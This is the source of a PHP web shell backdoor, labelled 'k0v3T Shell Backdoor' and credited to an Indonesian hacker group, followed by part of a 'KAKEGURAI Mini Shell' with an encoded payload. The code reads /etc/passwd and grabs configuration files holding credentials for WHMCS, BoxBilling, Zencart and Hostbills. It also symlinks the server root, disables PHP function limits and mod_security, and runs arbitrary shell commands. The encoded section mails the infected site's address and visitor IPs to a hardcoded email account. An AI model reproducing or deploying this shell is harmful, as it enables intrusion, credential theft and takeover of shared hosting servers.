"/home/{$user_con7ext}/public_html/support/order/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/box/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/host/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/Host/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/supportes/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/support/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/hosting/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/cart/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/order/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/client/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/clients/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/cliente/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/clientes/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/billing/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/billings/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/my/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/secure/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/support/order/bb-config.php" => "BoxBilling", "/home/{$user_con7ext}/public_html/includes/dist-configure.php" => "Zencart", "/home/{$user_con7ext}/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/{$user_con7ext}/public_html/products/includes/dist-configure.php" => "Zencart", "/home/{$user_con7ext}/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/{$user_con7ext}/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/{$user_con7ext}/public_html/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/host/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/Host/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/support/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/order/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/client/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/my/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/secure/includes/iso4217.php" => "Hostbills", "/home/{$user_con7ext}/public_html/support/order/includes/iso4217.php" => "Hostbills");
                foreach ($grab_config as $config => $nama_config) {
                    if ($_POST['config'] == 'grab') {
                        $ambil_config = file_get_contents($config);
                        if ($ambil_config == '') {
                        } else {
                            $file_config = fopen("k0v3T_configgrab/{$user_k0v3T}-{$nama_config}.txt", "w");
                            fputs($file_config, $ambil_config);
                        }
                    }
                    if ($_POST['config'] == 'symlink') {
                        @symlink($config, "k0v3T_Symconfig/" . $user_k0v3T . "-" . $nama_config . ".txt");
                    }
                    if ($_POST['config'] == '404') {
                        $sym404 = symlink($config, "k0v3T_sym404/" . $user_k0v3T . "-" . $nama_config . ".txt");
                        if ($sym404) {
                            @mkdir("k0v3T_sym404/" . $user_k0v3T . "-" . $nama_config . ".txt404", 0777);
                            $htaccess = "Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nHeaderName k0v3T.txt\r\nSatisfy Any\r\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\r\nIndexIgnore *";
                            @file_put_contents("k0v3T_sym404/" . $user_k0v3T . "-" . $nama_config . ".txt404/.htaccess", $htaccess);
                            @symlink($config, "k0v3T_sym404/" . $user_k0v3T . "-" . $nama_config . ".txt404/k0v3T.txt");
                        }
                    }
                }
            }
            if ($_POST['config'] == 'grab') {
                echo "<center><a href='?path={$path}/k0v3T_configgrab'><font color=lime>Done</font></a></center>";
            }
            if ($_POST['config'] == '404') {
                echo "<center>\r\n<a href=\"k0v3T_sym404/root/\">SymlinkNya</a>\r\n<br><a href=\"k0v3T_sym404/\">Configurations</a></center>";
            }
            if ($_POST['config'] == 'symlink') {
                echo "<center>\r\n<a href=\"k0v3T_symconfig/root/\">Symlinknya</a>\r\n<br><a href=\"k0v3T_symconfig/\">Configurations</a></center>";
            }
            if ($_POST['config'] == 'symvhost') {
                echo "<center>\r\n<a href=\"k0v3T_symvhost/root/\">Root Server</a>\r\n<br><a href=\"k0v3T_symvhost/\">Configurations</a></center>";
            }
        } else {
            echo "<form method=\"post\" action=\"\"><center>\r\n\t\t</center></select><br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
            echo include "/etc/passwd";
            echo "</textarea><br><br>\r\n        <select class=\"select\" name=\"config\"  style=\"width: 450px;\" height=\"10\">\r\n        <option value=\"grab\">Config Grab</option>\r\n        <option value=\"symlink\">Symlink Config</option>\r\n\t\t<option value=\"404\">Config 404</option>\r\n\t\t<option value=\"symvhosts\">Vhosts Config Grabber</option><br><br><input type=\"submit\" value=\"Start!!\"></td></tr></center>\n";
        }
    } elseif ($_GET['a'] == 'disablefunc') {
        echo "<br><br><center>";
        echo "<form method=post><input type=submit name=ini value='php.ini' />&nbsp;<input type=submit name=htce value='.htaccess' />&nbsp;<input type=submit name=litini value='Litespeed' /></form>";
        if (isset($_POST['ini'])) {
            $file = fopen("php.ini", "w");
            echo fwrite($file, "disable_functions=none\r\nsafe_mode = Off\r\n\t");
            fclose($file);
            echo "<a href='php.ini'>click here!</a>";
        }
        if (isset($_POST['htce'])) {
            $file = fopen(".htaccess", "w");
            echo fwrite($file, "<IfModule mod_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\n</IfModule>\r\n\t");
            fclose($file);
            echo "htaccess successfully created!";
        }
        if (isset($_POST['litini'])) {
            $iniph = '<?php  n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>';
            $byph = "safe_mode = Off n disable_functions= ";
            $comp = "PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
            file_put_contents("php.ini", "\xb1\xa7\xde\x9a\x87^9\xf7\xe7v+\32nW\x9f\xbaw-\x8a\x89\xec");
            file_put_contents("ini.php", "\xa6\32gy\xc8h\x8ax\xa0z\xdb\32}\xe9\xa8u\xe9\xder\32\"\x9e(\36\xb6\x8a^\x9d\xb6\xacy\xd8\xab\x9e)\xdc\x96\xe7^\30D\xdf\x8aW\xa7\x8ax\xabz\xcbh\xad\xeb\32}\xe9\xa8u\xe9\xe2\x9e*\xde\xb2\xda+z\x8a^\x9d\xb6\xacy\xd8\xab\x9d\xe7!\xa2)\xe2\x81\xebli\xf7\xa6\xa1\xd7\xa7y\xc8h\x8ax\xa0z\xda)zv\xda\xb1\xe7b\xaex\xa7r[\x9dxa\23\xb2\xc9");
            file_put_contents(".htaccess", "<Files *.php>\r\nForceType application/x-httpd-php4\r\n</Files>");
            echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
            echo "</center>";
        }
    } elseif ($_GET['a'] == 'symlink') {
        $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path);
        $d0mains = @file("/etc/named.conf");
        ##httaces
        if ($d0mains) {
            @mkdir("k0v3T_sym", 0777);
            @chdir("k0v3T_sym");
            @exe("ln -s / root");
            $file3 = 'Options Indexes FollowSymLinks
DirectoryIndex k0v3T.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
            $fp3 = fopen('.htaccess', 'w');
            $fw3 = fwrite($fp3, $file3);
            @fclose($fp3);
            echo "<br>\r\n<table align=center border=1 style='width:60%;border-color:#333333;'>\r\n<tr>\r\n<td align=center><font size=2>S. No.</font></td>\r\n<td align=center><font size=2>Domains</font></td>\r\n<td align=center><font size=2>Users</font></td>\r\n<td align=center><font size=2>Symlink</font></td>\r\n</tr>";
            $dcount = 1;
            foreach ($d0mains as $d0main) {
                if (eregi("zone", $d0main)) {
                    preg_match_all('#zone "(.*)"#', $d0main, $domains);
                    flush();
                    if (strlen(trim($domains[1][0])) > 2) {
                        $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
                        echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>\r\n<td align=left><a href=http://www." . $domains[1][0] . "/><font class=txt>" . $domains[1][0] . "</font></a></td>\r\n<td>" . $user['name'] . "</td>\r\n<td><a href='{$full}/k0v3T_sym/root/home/" . $user['name'] . "/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
                        flush();
                        $dcount++;
                    }
                }
            }
            echo "</table>";
        } else {
            $TEST = @file('/etc/passwd');
            if ($TEST) {
                @mkdir("k0v3T_sym", 0777);
                @chdir("k0v3T_sym");
                exe("ln -s / root");
                $file3 = 'Options Indexes FollowSymLinks
DirectoryIndex k0v3T.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
                $fp3 = fopen('.htaccess', 'w');
                $fw3 = fwrite($fp3, $file3);
                @fclose($fp3);
                echo "\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>S. No.</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>";
                $dcount = 1;
                $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
                while (!feof($file)) {
                    $s = fgets($file);
                    $matches = array();
                    $t = preg_match('/\\/(.*?)\\:\\//s', $s, $matches);
                    $matches = str_replace("home/", "", $matches[1]);
                    if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") {
                        continue;
                    }
                    echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";
                    echo "<td align=center><font class=txt><a href={$full}/k0v3T_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
                    $dcount++;
                }
                fclose($file);
                echo "</table>";
            } else {
                if ($os != "Windows") {
                    @mkdir("k0v3T_sym", 0777);
                    @chdir("k0v3T_sym");
                    @exe("ln -s / root");
                    $file3 = '
 Options Indexes FollowSymLinks
DirectoryIndex k0v3T.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
';
                    $fp3 = fopen('.htaccess', 'w');
                    $fw3 = fwrite($fp3, $file3);
                    @fclose($fp3);
                    echo "\r\n <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>ID</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>";
                    $temp = "";
                    $val1 = 0;
                    $val2 = 1000;
                    for (; $val1 <= $val2; $val1++) {
                        $uid = @posix_getpwuid($val1);
                        if ($uid) {
                            $temp .= join(':', $uid) . "\n";
                        }
                    }
                    echo "<br/>";
                    $temp = trim($temp);
                    $file5 = fopen("test.txt", "w");
                    fputs($file5, $temp);
                    fclose($file5);
                    $dcount = 1;
                    $file = fopen("test.txt", "r") or exit("Unable to open file!");
                    while (!feof($file)) {
                        $s = fgets($file);
                        $matches = array();
                        $t = preg_match('/\\/(.*?)\\:\\//s', $s, $matches);
                        $matches = str_replace("home/", "", $matches[1]);
                        if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") {
                            continue;
                        }
                        echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";
                        echo "<td align=center><font class=txt><a href={$full}/k0v3T_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
                        $dcount++;
                    }
                    fclose($file);
                    echo "</table></div></center>";
                    unlink("test.txt");
                } else {
                    echo "<center><font size=3>Cannot create Symlink</font></center>";
                }
            }
        }
        ##JUMPING
    } elseif ($_GET['a'] == 'jumping') {
        $i = 0;
        echo "<pre><div class='margin: 5px auto;'>";
        $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
        while ($passwd = fgets($etc)) {
            if ($passwd == '' || !$etc) {
                echo "<font color=red>Can't read /etc/passwd</font>";
            } else {
                preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
                foreach ($user_jumping[1] as $user_idx_jump) {
                    $user_jumping_dir = "/home/{$user_idx_jump}/public_html";
                    if (is_readable($user_jumping_dir)) {
                        $i++;
                        $jrw = "[<font color=#5ddcfc>R</font>] <a href='?dir={$user_jumping_dir}'><font color=red>{$user_jumping_dir}</font></a>";
                        if (is_writable($user_jumping_dir)) {
                            $jrw = "[<font color=#5ddcfc>RW</font>] <a href='?dir={$user_jumping_dir}'><font color=#5ddcfc>{$user_jumping_dir}</font></a>";
                        }
                        echo $jrw;
                        if (function_exists('posix_getpwuid')) {
                            $domain_jump = file_get_contents("/etc/named.conf");
                            if ($domain_jump == '') {
                                echo " => ( <font color=red>gagal mengambil nama domain nya</font> )<br>";
                            } else {
                                preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
                                foreach ($domains_jump[1] as $dj) {
                                    $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/{$dj}"));
                                    $user_jumping_url = $user_jumping_url['name'];
                                    if ($user_jumping_url == $user_idx_jump) {
                                        echo " => ( <u>{$dj}</u> )<br>";
                                        break;
                                    }
                                }
                            }
                        } else {
                            echo "<br>";
                        }
                    }
                }
            }
        }
        if ($i == 0) {
        } else {
            echo "<br>Total ada " . $i . " Kamar di " . gethostbyname($_SERVER['HTTP_HOST']) . "";
            echo "</div></pre>";
        }
        //CONFIG
    } elseif ($_GET['a'] == 'cmd') {
        echo "<form method='post'>\r\n\t<font style='text-decoration: underline;'>" . $user . "@" . $ip . ": ~ \$ </font>\r\n\t<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>\r\n\t</form>";
        if ($_POST['do_cmd']) {
            echo "<pre>" . exe($_POST['cmd']) . "</pre>";
        }
        //START
    } elseif (isset($_GET['filesrc'])) {
        echo "<tr><td>Current File : ";
        echo $_GET['filesrc'];
        echo "</tr></td></table><br />";
        echo ' <center><textarea style="width:80%;height:50%;" readonly> ' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea></center>';
    } elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
        echo '</table><br />' . $_POST['path'] . '<br /><br />';
        if ($_POST['opt'] == 'chmod') {
            if (isset($_POST['perm'])) {
                if (chmod($_POST['path'], $_POST['perm'])) {
                    echo "<font color=\"#5ddcfc\">Ganti  Permission Berhasil Gan</font><br />";
                } else {
                    echo "<font color=\"RED\">Ganti Permission Gagal Gan</font><br />";
                }
            }
            echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Chmod" />
</form>';
        } elseif ($_POST['opt'] == 'rename') {
            if (isset($_POST['newname'])) {
                if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                    echo "<font color=\"#5ddcfc\">Ganti Nama Berhasil Gan</font><br />";
                } else {
                    echo "<font color=\"RED\">Ganti Nama Gagal Gan</font><br />";
                }
                $_POST['name'] = $_POST['newname'];
            }
            echo '<form method="POST">
Nama Baru : <input name="newname" type="text" size="30" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Ubah Nama" />
</form>';
        } elseif ($_POST['opt'] == 'edit') {
            if (isset($_POST['src'])) {
                $fp = fopen($_POST['path'], 'w');
                if (fwrite($fp, $_POST['src'])) {
                    echo "<font color=\"#5ddcfc\">Edit File Berhasil Gan</font><br />";
                } else {
                    echo "<font color=\"RED\">Edit File Gagal Gan</font><br />";
                }
                fclose($fp);
            }
            echo '<form method="POST">
<textarea cols=140 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Edit File" />
</form>';
        }
        echo "</center>";
    } else {
        echo "</table><br /><center>";
        if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
            if ($_POST['type'] == 'dir') {
                if (rmdir($_POST['path'])) {
                    echo "<font color=\"#5ddcfc\">Hapus Dir Berhasil Gan</font><br />";
                } else {
                    echo "<font color=\"red\">Hapus Dir Gagal Gan</font><br />";
                }
            } elseif ($_POST['type'] == 'file') {
                if (unlink($_POST['path'])) {
                    echo "<font color=\"#5ddcfc\">Hapus File Berhasil Gan</font><br />";
                } else {
                    echo "<font color=\"#red\">Hapus File Gagal Gan</font><br />";
                }
            }
        }
        echo "</center>";
        $scandir = scandir($path);
        echo "<div id=\"content\"><table width=\"700px\" border=\"0\" cellpadding=\"4\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<b><td><center><font color=black size=3>Name</font></center></td></b>\r\n<b><td><center><font color=black size=3>Size</font></center></td></b>\r\n<b><td><center><font color=black size=3>Permissions</font></center></td></b>\r\n<b><td><center><font color=black size=3>Options</font></center></td></b>\r\n</tr>";
        foreach ($scandir as $dir) {
            if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
                continue;
            }
            echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp" . "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>\r\n<a href=\"?path={$path}/{$dir}\"><font color=red>{$dir}</font></a></td>\r\n<td><center><font color=red>Directory</font></center></td>\r\n<td><center>";
            if (is_writable("{$path}/{$dir}")) {
                echo "<font color=\"#5ddcfc\">";
            } elseif (!is_readable("{$path}/{$dir}")) {
                echo "<font color=\"red\">";
            }
            echo perms("{$path}/{$dir}");
            if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
                echo "</font>";
            }
            echo "</center></td>\r\n<td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\">\r\n<option value=\"Select\">Select</option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"chmod\">Chmod</option>\r\n<option value=\"rename\">Rename</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"dir\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\r\n<input type=\"submit\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
        }
        echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
        foreach ($scandir as $file) {
            if (!is_file("{$path}/{$file}")) {
                continue;
            }
            $size = filesize("{$path}/{$file}") / 1024;
            $size = round($size, 3);
            if ($size >= 1024) {
                $size = round($size / 1024, 2) . ' MB';
            } else {
                $size .= ' KB';
            }
            echo "<tr>\r\n<td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='>\r\n<a href=\"?filesrc={$path}/{$file}&path={$path}\"><font color=red>{$file}</font></a></td>\r\n<td><center><font color=Red>" . $size . "</font></center></td>\r\n<td><center>";
            if (is_writable("{$path}/{$file}")) {
                echo "<font color=#5ddcfc>";
            } elseif (!is_readable("{$path}/{$file}")) {
                echo "<font color=red>";
            }
            echo perms("{$path}/{$file}");
            if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
                echo "</font>";
            }
            echo "</center></td>\r\n<td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\">\r\n<option value=\"Select\">Select</option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"chmod\">Chmod</option>\r\n<option value=\"rename\">Rename</option>\r\n<option value=\"edit\">Edit</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n<input type=\"submit\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
        }
        echo "</table>\r\n</div>";
    }
    echo "<br /><center><font size=3 ; color=red>k0v3T Shell Backdoor  V.01<br><font size=4 ; color=#5ddcfc>Copyright &copy; <font color=\"red\">Indonesian Hacker Community</font></br>\r\n\r\n</body>\r\n</html>";
    function perms($file)
    {
        $perms = fileperms($file);
        if (($perms & 0xc000) == 0xc000) {
            // Socket
            $info = 's';
        } elseif (($perms & 0xa000) == 0xa000) {
            // Symbolic Link
            $info = 'l';
        } elseif (($perms & 0x8000) == 0x8000) {
            // Regular
            $info = '-';
        } elseif (($perms & 0x6000) == 0x6000) {
            // Block special
            $info = 'b';
        } elseif (($perms & 0x4000) == 0x4000) {
            // Directory
            $info = 'd';
        } elseif (($perms & 0x2000) == 0x2000) {
            // Character special
            $info = 'c';
        } elseif (($perms & 0x1000) == 0x1000) {
            // FIFO pipe
            $info = 'p';
        } else {
            // Unknown
            $info = 'u';
        }
        $info .= $perms & 0x100 ? 'r' : '-';
        $info .= $perms & 0x80 ? 'w' : '-';
        $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
        $info .= $perms & 0x20 ? 'r' : '-';
        $info .= $perms & 0x10 ? 'w' : '-';
        $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
        $info .= $perms & 0x4 ? 'r' : '-';
        $info .= $perms & 0x2 ? 'w' : '-';
        $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
        return $info;
    }
};


Original code

<html>
  <head>
  <link href='http://res7ock.org/assets/img/favicon.png' rel='shortcut icon' alt='icon'>
  <title>KAKEGURAI MINI SHELL</title>
<center><h1><font face="Sarpanch"> &#9884; KAKEGURAI Mini Shell &#9884;</h1></center>
  <meta name='author' content='KAKEGURAI'>
  <meta charset="UTF-8">
  <link href="" rel="stylesheet" type="text/css">

<style>
body{
font-family: "Sarpanch", cursive;
	background-image: url("http://www.al-mubarok.com/wp-content/uploads/2017/11/380624.jpg");
	color:red;
	background-attachment:fixed;
	background-repeat:no-repeat;
	background-position:center;
	background-color:#000;
	-webkit-background-size: 100% 100%;
}
#content tr:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
#content .first{
background-color: #5ddcfc;
font-weight: bold;
}
H1{
color:#5ddcfc;
font-family: "Sarpanch", cursive;
}
#content .first:hover{
background-color: #5ddcfc;
text-shadow:1px 0px 0px #000;
}
table{
border: 0px red solid;
}
a{
color: red;
text-decoration: none;
}
a:hover{
color: red;
text-shadow:1px 0px 0px #000;
}
.tombols{
background:black;
color:#5ddcfc;
border-top:0;
border-left:0;
border-right:0;
border: 2px white solid;
padding:5px 8px;
text-decoration:none;
font-family: 'Sarpanch', sans-serif;
border-radius:5px;
}
textarea{
color:#5ddcfc;
background-color:transparent;
font-weight: bold;
padding:5px 8px;
font-family: "Sarpanch", cursive;
border: 2px white solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input,select{
color:#5ddcfc;
background-color:black;
font-weight: bold;
font-family: "Sarpanch", cursive;
border: 2px white solid;
}
</style>
</head>




<link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet">

<?php
$code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFpbCwgIkxPR0dFUiIsICRwZXNhbl9hbGVydCwgIlsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIik7DQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KLy9mdW5jdGlvbg0KZnVuY3Rpb24gYW1iaWxLYXRhKCRwYXJhbSwgJGthdGExLCAka2F0YTIpew0KICAgIGlmKHN0cnBvcygkcGFyYW0sICRrYXRhMSkgPT09IEZBTFNFKSByZXR1cm4gRkFMU0U7DQogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsNCiAgICAkc3RhcnQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTEpICsgc3RybGVuKCRrYXRhMSk7DQogICAgJGVuZCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMiwgJHN0YXJ0KTsNCiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsNCiAgICByZXR1cm4gJHJldHVybjsNCn0NCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgICBmdW5jdGlvbiBpZHhfc3MoJGFycmF5KSB7DQpyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnaWR4X3NzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KICAgIH0NCiAgICAkX1BPU1QgPSBpZHhfc3MoJF9QT1NUKTsNCn0NCg0KZnVuY3Rpb24gZXhlKCRjbWQpIHsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7ICAgICAgICANCkBvYl9zdGFydCgpOyAgICAgICANCkBzeXN0ZW0oJGNtZCk7ICAgICANCiRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAgICAgICAgDQpAb2JfZW5kX2NsZWFuKCk7ICAgICAgIA0KcmV0dXJuICRi